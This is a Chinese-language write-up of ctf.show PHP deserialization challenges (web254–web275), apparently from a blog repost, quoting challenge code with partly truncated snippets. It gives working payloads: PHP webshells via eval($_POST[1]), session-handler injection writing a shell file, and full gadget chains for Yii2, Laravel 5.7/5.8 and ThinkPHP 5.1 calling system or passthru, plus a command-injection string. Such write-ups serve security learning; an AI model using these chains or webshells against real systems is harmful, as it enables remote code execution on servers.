ctf-show反序列化

目录

web254

web255

web256

web257

web258

web259

web260

web261

web262

web263

web264

web265

web266

 web267(有疑问)

web268

web269

web270

web271

 web272

 web273

web274

web275


web254

很简单只需要get传参一下

?username=xxxxxx&password=xxxxxx

web255

查看源码发现get传参方式跟上题一样,只需要将isvip改为true之后序列化,这样可以成功输出flag

isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

payload:

isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}
$a=new ctfshowUser();
echo urlencode(serialize($a));
?>

web256

这题与上一关相比多了个  让username!=password的条件,那么我们构造payload的时候,只需要手动更改一下username与password的初始值,让其不同即可

payload:

web257

观察源码发现class调用了getinfo函数,getinfo发现了关键代码eval命令执行函数,写入一个木马,读取到flag.php

这样的话需要将class指向backDoor类,get传参同上随意传即可

 class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}

payload:

class=new backDoor();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}
class backDoor{private $code='eval($_POST[1]);';public function getInfo(){eval($this->code);}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

web258

这题加了个正则过滤,首先我们要看懂过滤了啥

 if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))

相当与过滤   o:数字

将其中的o:数字改为o:+数字即可,剩下步骤同上一关

class=new backDoor();}public function __destruct(){$this->class->getInfo();}}
class backDoor{public $code='eval($_POST[1]);';public function getInfo(){eval($this->code);}
}
$a=new ctfShowUser();
$b=serialize($a);
$c=str_replace('O:','O:+',$b);
echo urlencode($c);
?>

web259

我先放一放,费时间

web260

preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']

很简单,需要知道对于  字符串的序列化仍是它本身,那我们直接给ctfshow赋值为/ctfshow_i_love_36D/

web261

查看源码

分析发现魔术方法__invoke(): 当尝试将对象调用为函数时触发(没用)

魔术方法:__wakeup()    执行unserialize()时,先会调用这个函数

在PHP7.4以上版本,如果出现反序列化的魔术方法(这题是__unserialize),就会绕过__wakeup(优先执行反序列化的魔术方法)

这里判断code是否等于0x36d(十进制为877),并且是弱类型,于是我们在给uername赋值时应以877开头

file_put_contents($this->username, $this->password); :file_put_contents()函数:函数把一个字符串写入文件中,这里就是把password写入username中,那么我们需要将username写成一个文件

 username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);

payload:

username=$u='877.php';$this->password=$p='';}
}echo urlencode(serialize(new ctfshowvip()));
?>

先给vip $_get传参,然后访问877.php,进行post传参,找到flag

web262

查看源码

这题有关键函数str_replace()对我们cookie传入的msg进行了字符串过滤(过滤后字符串只增多),并且当token==admin时才可以输出flag,但token已经被初始化为user,因此我们要凭借该过滤函数,构造一个字符串(含有fuck),这样在过滤后达到一个字符串溢出的效果,实现参数可控

eg:传入msg=('fuckfuck.....;s:5:"token";s:5:"admin";}','b','c'),过滤后后面的 b,c部分被挤出而无效,token成功赋值为admin

//index.php
from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}highlight_file(__FILE__);
?>//message.php
from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}

paylaod:

from = $f;$this->msg = $m;$this->to = $t;}
}
function check($msg){return str_replace('fuck', 'loveU', serialize($msg));
}
$msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$msg=check($msg);
echo $msg;
?>

输出后别忘了base64编码

web263

这题出现了一个登录页面,无法看到源码,想到源码泄露,一个个试试,发现在后缀添加www.zip即可得到源码

首先是这里,我们在登录后会自动创建一个session参数,如果超过五次就登陆失败,没有的话就将经过base64解码的cookie参数赋值给sesssion,这里便是造成了session(limit)参数可控

//index.php
error_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}

进入check.php发现包含了inc.php,我们查看发现ini_set('session.serialize_handler', 'php');

我们知道php默认引擎是php的,但这里大概率在说明该php引擎为php.serialize,由于引擎的不同,便造成了自动反序列化的发生。

再往下看发现了文件写入函数,并且其中的username,password参数可控,并且没有什么限制,我们可以将木马写入读取flag

如:username=1.php;password=

username = $username;$this->password = $password;}function setStatus($s){$this->status=$s;}function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
}
?>

paylaod:

username = $username;$this->password = $password;}
}
$a = new User('1.php','');
echo base64_encode('|'.serialize($a));
?>

接下来,我们先访问index.php,cookie传入limit,在此访问index.php,之后访问check.php(由于处理引擎的不同,我们传入的序列化字符串会被自动反序列化)达到将木马写入文件的效果

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

传入该payload

web264

这关于262不同之处在于,设置了一个session,而该会话是有get传入的参数设置的,因此我们需要在get传入三个参数

构造payload:

?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
from = $f;$this->msg = $m;$this->to = $t;}
}
function check($msg){return str_replace('fuck', 'loveU', serialize($msg));
}
$msg=new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$msg=check($msg);
echo $msg;
?>

在index.php传入payload,接着访问message.php,然后再cookie中添加msg=1(msg的值随意)

web265

查看源码,发现只有满足token=password才能输出flag,这里用到引用,将token引用为password,这样两者永远相等

class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo $flag;
}

 payload:

token=$t;$this->password = &$this->token;}public function login(){return $this->token===$this->password;}
}$admin = new ctfshowAdmin('123','123');
echo serialize($admin);

web266

查看源码发现,只要cs中没有ctfshow字符串,这样在对象调用结束时自动调用析构函数,输出flag

我们可以采用大小写绕过(PHP对类的大小写不敏感)

 username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}public function __destruct(){global $flag;echo $flag;}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}

payload:

file_get_contents('php://input')

可以访问请求的原始数据流,可以获取到GET和POST的数据,该函数可以进行如同post一样的参数,因此直接抓包,在包中传参。

 web267(有疑问)

查看源码,发现是yii框架,用弱口令登录admin/admin

 登陆成功看到

 get传数据/index.php?r=site%2Fabout&view-source

学艺不精,看了大佬的wp,如下图是yii反序列化

 这个题system不行,然后看到别人有用passthru有回显,payload如下:

checkAccess = 'passthru';$this->id = 'cat /flag';}}
}
​
namespace Faker{use yii\rest\CreateAction;
​class Generator{protected $formatters;
​public function __construct(){// 这里需要改为isRunning$this->formatters['render'] = [new CreateAction(), 'run'];}}
}
​
namespace phpDocumentor\Reflection\DocBlock\Tags{
​use Faker\Generator;
​class See{protected $description;public function __construct(){$this->description = new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys = [];private $path;public function __construct(){$this->path = new See;$this->keys = array("axin"=>array("is"=>"handsome"));}}// 生成pocecho base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
//url传参,得到flag
?r=backdoor/shell&code=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7czo0OiJheGluIjthOjE6e3M6MjoiaXMiO3M6ODoiaGFuZHNvbWUiO319czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBwYXRoIjtPOjQyOiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xTZWUiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjE1OiJGYWtlclxHZW5lcmF0b3IiOjE6e3M6MTM6IgAqAGZvcm1hdHRlcnMiO2E6MTp7czo2OiJyZW5kZXIiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToiY2F0IC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19fQ==

web268

参考了大佬的wp(对yii框架不熟悉,有时间学学)

yii2框架 反序列化漏洞复现
目前至少知道有4条链可以用,继续用上题的链还是可以打通。如果这四条链都打不通了,那就去再挖一条试试。

这题的链子如下:(与上题类似,改一个细节就行了)

 查看目录发现flags

checkAccess = 'passthru';$this->id = 'cat /flags';}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){// 这里需要改为isRunning$this->formatters['render'] = [new CreateAction(), 'run'];}}
}namespace phpDocumentor\Reflection\DocBlock\Tags{use Faker\Generator;class See{protected $description;public function __construct(){$this->description = new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys = [];private $path;public function __construct(){$this->path = new See;$this->keys = array("axin"=>array("is"=>"handsome"));}}// 生成pocecho base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web269

继续用上一题的链子,发现目录存在flagsa,访问即可

 payload:

checkAccess = 'passthru';$this->id = 'cat /flagsa';}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){// 这里需要改为isRunning$this->formatters['render'] = [new CreateAction(), 'run'];}}
}namespace phpDocumentor\Reflection\DocBlock\Tags{use Faker\Generator;class See{protected $description;public function __construct(){$this->description = new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys = [];private $path;public function __construct(){$this->path = new See;$this->keys = array("axin"=>array("is"=>"handsome"));}}// 生成pocecho base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web270

这题用上面的链子不行了,用第四条

checkAccess = 'passthru';$this->id = 'cat /fl*';}}
}
namespace yii\db{use yii\web\DbSession;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new DbSession();}}
}
namespace yii\web{use yii\rest\IndexAction;class DbSession{public $writeCallback;public function __construct(){$a=new IndexAction();$this->writeCallback=[$a,'run'];}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}
?>

web271

又是一个新框架,我太小白了,只能借用(有时间一定好好学学)

这道题是Laravel5.7框架

参考博客:laravel5.7 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel反序列化漏

command="system";$this->parameters[]="cat /flag";$this->test=new GenericUser();$this->app=new Application();}}
}
namespace Illuminate\Foundation{class Application{protected $bindings = [];public function __construct(){$this->bindings=array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application'));}}
}
namespace Illuminate\Auth{class GenericUser{protected $attributes;public function __construct(){$this->attributes['expectedOutput']=['hello','world'];$this->attributes['expectedQuestions']=['hello','world'];}}
}
namespace{use Illuminate\Foundation\Testing\PendingCommand;echo urlencode(serialize(new PendingCommand()));
}

使用如上payload,post传参即可,若页面无flag,使用bpPOST传参即可

 web272

这道题是Laravel5.8框架

参考博客:laravel5.8 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel漏洞利用
 

 poc:

events=new Dispatcher();$this->event=new QueuedCommand();}}
}
namespace Illuminate\Foundation\Console{class QueuedCommand{public $connection="cat /flag";}
}
namespace Illuminate\Bus{class Dispatcher{protected $queueResolver="system";}
}
namespace{use Illuminate\Broadcasting\PendingBroadcast;echo urlencode(serialize(new PendingBroadcast()));
}

 web273

方法与上题一样

web274

TP5.1的框架,首先要找到反序列化入口

查看源码发现

 借用poc

append = ["lin"=>["calc.exe","calc"]];$this->data = ["lin"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = [// 表单ajax伪装变量'var_ajax'         => '_ajax',  ];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>'lin'];$this->hook = ["visible"=>[$this,"isAjax"]];}
}namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

之后get传参并在后面加上&lin=tac /flag,即可

web275

检测传参的内容,必须有php或flag才能为true执行system,这里直接用;将system前边的rm闭合即可

get传参为:?fn=php;ls    之后:?fn=php;tac flag.php,得到flag


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部